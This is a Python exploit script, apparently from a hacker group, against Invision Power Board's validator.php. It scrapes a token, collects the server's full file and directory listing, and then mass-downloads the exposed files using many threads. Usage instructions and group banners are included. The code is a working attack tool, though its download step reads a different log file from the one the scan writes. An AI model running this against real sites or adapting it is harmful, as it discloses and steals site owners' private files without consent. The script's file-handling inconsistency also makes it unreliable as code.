Invision Power Board remote file disclosure exploit

                                                #! /usr/bin/env python3.1

################################################################ 
# 	         _____ _____  ____  (validator.php)            #
#	        |_   _|  __ \|  _ \                            #
#		  | | | |__) | |_) |                           #
# 		  | | |  ___/|  _ <                            #
# 	 	 _| |_| |    | |_) |                           #
#   		|_____|_|    |____/                            #
#                                   @expl0it...                #
################################################################ 
#          [ IPB Files / Directories Full Disclosure ]         # 
#    [ Vuln discovered by TinKode / xpl0it written by cmiN ]   #
#           [ Greetz: insecurity.ro, darkc0de.com ]            #
################################################################ 
#                                                              #
#                 Special thanks for: cmiN                     #
#                 www.TinKode.BayWords.com                     #
################################################################


import os, sys, urllib.request, urllib.parse, threading


def main():
    logo = """
\t |---------------------------------------------------------------|
\t |                      _____ _____  ____    (TM)                |
\t |                     |_   _|  __ \|  _ \                       |
\t |                       | | | |__) | |_) |                      |
\t |                       | | |  ___/|  _ <                       |
\t |                      _| |_| |    | |_) |                      |
\t |                     |_____|_|    |____/                       |
\t |                                                               |
\t |                                                               |
\t |                  IPB Full Disclosure expl0it                  |
\t |                      Written by cmiN                          |
\t |              Vulnerability discovered by TinKode              |
\t |                                                               |
\t |                                                               |
\t |         Visit: www.insecurity.ro & www.darkc0de.com           |
\t |---------------------------------------------------------------|
"""
    usage = """
         |---------------------------------------------------------------|
         |Usage:  ipbfd.py scan http://www.site.com/IPB_folder           |
         |        ipbfd.py download *.zip -> all                         |
         |        ipbfd.py download name.jpg -> one                      |
         |---------------------------------------------------------------|"""
    if sys.platform in ("linux", "linux2"):
        clearing = "clear"
    else:
        clearing = "cls"
    os.system(clearing)
    print(logo)
    args = sys.argv
    if len(args) == 3:
        try:
            print("Please wait...")
            if args[1] == "scan":
                extract_parse_save(args[2].strip("/"))
            elif args[1] == "download":
                download_data(args[2])
        except Exception as message:
            print("An error occurred: {}".format(message))
        except:
            print("Unknown error.")
        else:
            print("Ready!")
    else:
        print(usage)
    input()


def extract_parse_save(url):
    print("[+]Extracting content...")
    hurl = url + "/validator.php"
    with urllib.request.urlopen(hurl) as usock:
        source = usock.read().decode()
    print("[+]Finding token...")
    word = "validate('"
    index = source.find(word)
    if index != -1:
        source = source[index + len(word):]
        value = source[:source.index("'")]
        hurl = url + "/validator.php?op={}".format(value)
    else:
        print("[!]Token not found.")
    print("[+]Obtaining paths...")
    with urllib.request.urlopen(hurl) as usock:
        lastk, lastv = None, None
        dictionary = dict()
        for line in usock:
            line = line.decode()
            index = line.find("<td>")
            if index != -1:
                lastk = line[index + 4:line.index("</td>")].strip(" ").strip(" ")
            index = line.find("<strong>")
            if index != -1:
                lastv = line[index + 8:line.index("</strong>")].strip(" ")
            if lastk != None and lastv != None:
                index = lastk.rfind(".")
                if index in (-1, 0):
                    lastk = "[other] {}".format(lastk)
                else:
                    lastk = "[{}] {}".format(lastk[index + 1:], lastk)
                dictionary[lastk] = lastv
                lastk, lastv = None, None
    print("[+]Organizing and saving paths...")
    with open("IPBlogs.txt", "w") as fout:
        fout.write(url + "\n")
        keys = sorted(dictionary.keys())
        for key in keys:
            fout.write("{} ({})\n".format(key, dictionary[key]))


def download_data(files):
    print("[+]Searching and downloading files...")
    mthreads = 50
    with open("vBlogs.txt", "r") as fin:
        url = fin.readline().strip("\n").strip("/")
        if files.find("*") == -1:
            hurl = url + "/" + files.strip("/")
            Download(hurl).start()
        else:
            ext = files[files.rindex(".") + 1:]
            for line in fin:
                pieces = line.strip("\n").split(" ")
                if pieces[0].count(ext) == 1:
                    upath = pieces[1]
                    hurl = url + "/" + upath.strip("/")
                    while threading.active_count() > mthreads:
                        pass
                    Download(hurl).start()
    while threading.active_count() > 1:
        pass


class Download(threading.Thread):

    def __init__(self, url):
        threading.Thread.__init__(self)
        self.url = url

    def run(self):
        try:
            with urllib.request.urlopen(self.url) as usock:
                data = usock.read()
                uparser = urllib.parse.urlparse(usock.geturl())
                pieces = uparser.path.split("/")
                fname = pieces[len(pieces) - 1]
                with open(fname, "wb") as fout:
                    fout.write(data)
        except:
            pass


if __name__ == "__main__":
    main()